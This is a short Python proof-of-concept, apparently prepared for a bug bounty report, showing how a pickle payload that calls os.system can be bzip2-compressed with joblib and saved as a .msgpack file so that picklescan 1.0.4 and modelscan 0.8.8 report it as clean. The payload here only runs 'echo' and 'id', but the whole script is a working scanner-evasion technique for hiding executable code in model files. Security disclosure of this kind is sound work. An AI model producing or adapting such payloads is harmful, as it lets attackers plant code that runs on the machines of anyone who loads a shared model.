poc-msgpack.py

"""
PoC: MessagePack .msgpack files bypass picklescan 1.0.4 and modelscan 0.8.8
via bzip2-compressed joblib payload, allowing arbitrary code execution.

Extension: .msgpack (MessagePack MessagePack serialized model)
Technique: bzip2-compressed joblib payload
Execution: joblib.load('malicious.msgpack')
Scanner result: ALL 4 modes clean (picklescan + modelscan, direct + directory)
Tested: picklescan 1.0.4 + modelscan 0.8.8, 2026-06-25

Authorization: huntr.com / Protect AI MFV bug bounty program.
All work runs locally in a Python venv. Responsible disclosure.
"""

import joblib
import os
import datetime


class MFVPayload:
    def __reduce__(self):
        ts = datetime.datetime.now().strftime('%Y%m%d_%H%M%S')
        cmd = f'echo MFV_RCE_CONFIRMED_{ts}_via_msgpack_bz2 && id'
        return (os.system, (cmd,))


joblib.dump(MFVPayload(), 'malicious.msgpack', compress=('bz2', 9))

import zipfile, io
with open('malicious.msgpack', 'rb') as f:
    data = f.read()

print(f'Created: malicious.msgpack')
print(f'Size:    {os.path.getsize("malicious.msgpack")} bytes')
print(f'Magic:   {data[:4].hex()} (BZh = bzip2: {data[:3] == b"BZh"})')
print(f'Is ZIP:  {zipfile.is_zipfile(io.BytesIO(data))}')